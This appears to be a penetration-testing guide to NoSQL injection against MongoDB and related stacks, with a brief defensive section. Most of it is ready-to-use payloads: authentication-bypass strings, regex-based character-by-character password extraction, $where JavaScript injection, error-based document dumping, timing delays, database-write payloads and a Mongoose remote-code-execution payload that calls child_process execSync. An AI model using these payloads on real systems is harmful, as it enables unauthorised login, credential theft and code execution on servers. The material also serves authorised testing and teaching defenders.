NoSQL Injection Testing
A comprehensive guide for testing NoSQL injection vulnerabilities in MongoDB and similar databases.
Overview
NoSQL injection occurs when user input is not properly sanitized before being used in database queries. Unlike SQL injection, NoSQL injection exploits the document-based query structure of databases like MongoDB.
Common Operators
MongoDB uses special operators that can be exploited:
| Operator | Description | Example |
|---|---|---|
$ne |
Not equals | username[$ne]=1 |
$eq |
Equals | username[$eq]=admin |
$regex |
Regular expression | username[$regex]=^adm |
$gt |
Greater than | pass[$gt]=s |
$lt |
Less than | pass[$lt]=s |
$nin |
Not in array | username[$nin][admin]=admin |
$where |
JavaScript execution | { $where: "this.credits == this.debits" } |
$exists |
Field exists | username[$exists]=true |
Authentication Bypass
URL Parameters
# Using $ne operator
username[$ne]=toto&password[$ne]=toto
# Using regex to match anything
username[$regex]=.*&password[$regex]=.*
# Using $exists
username[$exists]=true&password[$exists]=true
JSON Body
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
SQL-style Injection in MongoDB
// Normal SQL injection
' or 1=1-- -
// MongoDB equivalent
' || 1==1//
' || 1==1%00
admin' || 'a'=='a
Data Extraction Techniques
Extract Password Length
# Test if password length equals 1
username[$ne]=toto&password[$regex]=.{1}
# Test if password length equals 3
username[$ne]=toto&password[$regex]=.{3}
Extract Password Characters
# If length is 3, test each character
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
JSON-based Extraction
{"username": {"$eq": "admin"}, "password": {"$regex": "^m"}}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md"}}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp"}}
Using $where for Field Matching
/?search=admin' && this.password%00 --> Check if password field exists
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> Start matching
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 --> Found
Advanced Techniques
Cross-Collection Data Access
Use $lookup to read from different collections (requires aggregate()):
[
{
"$lookup": {
"from": "users",
"as": "resultado",
"pipeline": [
{
"$match": {
"password": {"$regex": "^.*"}
}
}
]
}
}
]
Error-Based Injection
Exfiltrate documents via JavaScript errors:
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
PHP Arbitrary Function Execution
Using MongoLite's $func operator:
"user":{"$func": "var_dump"}
Common Payloads
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;
|| 1==1
|| 1==1//
|| 1==1%00
{ $gt: '' }
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
Recent CVEs (2023-2025)
CVE-2023-28359 - Rocket.Chat Blind NoSQLi
Unauthenticated blind NoSQL injection in Rocket.Chat ≤ 6.0.0 via listEmojiCustom Meteor method.
Exploit:
{"$where":"sleep(2000)||true"}
CVE-2024-53900 & CVE-2025-23061 - Mongoose RCE
Mongoose populate().match with $where executes JavaScript in Node.js.
Exploit:
// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
Post.find().populate({ path: 'author', match: req.query.author });
GraphQL → MongoDB Filter Confusion
query users($f:UserFilter){
users(filter:$f){ _id email }
}
# variables
{ "f": { "$ne": {} } }
Defensive Measures
- Strip dangerous keys: Use
express-mongo-sanitize,mongo-sanitize, or MongoosesanitizeFilter: true - Disable server-side JavaScript:
--noscriptingflag (default in MongoDB v7.0+) - Avoid
$where: Prefer$exprand aggregation builders - Validate data types: Use Joi/Ajv, disallow arrays where scalars expected
- GraphQL: Translate filter arguments through allow-list; never spread untrusted objects
Automation Scripts
Use the bundled scripts for automated testing:
scripts/nosql-bruteforce.py- Extract passwords character by characterscripts/nosql-username-enumeration.py- Enumerate usernames and passwords
See the scripts directory for usage instructions.
Testing Workflow
- Identify the target: Find login forms, search parameters, or API endpoints
- Test for vulnerability: Try basic
$neor$regexpayloads - Determine injection point: URL params, JSON body, GraphQL variables
- Extract data: Use regex-based character extraction
- Document findings: Record payloads, endpoints, and impact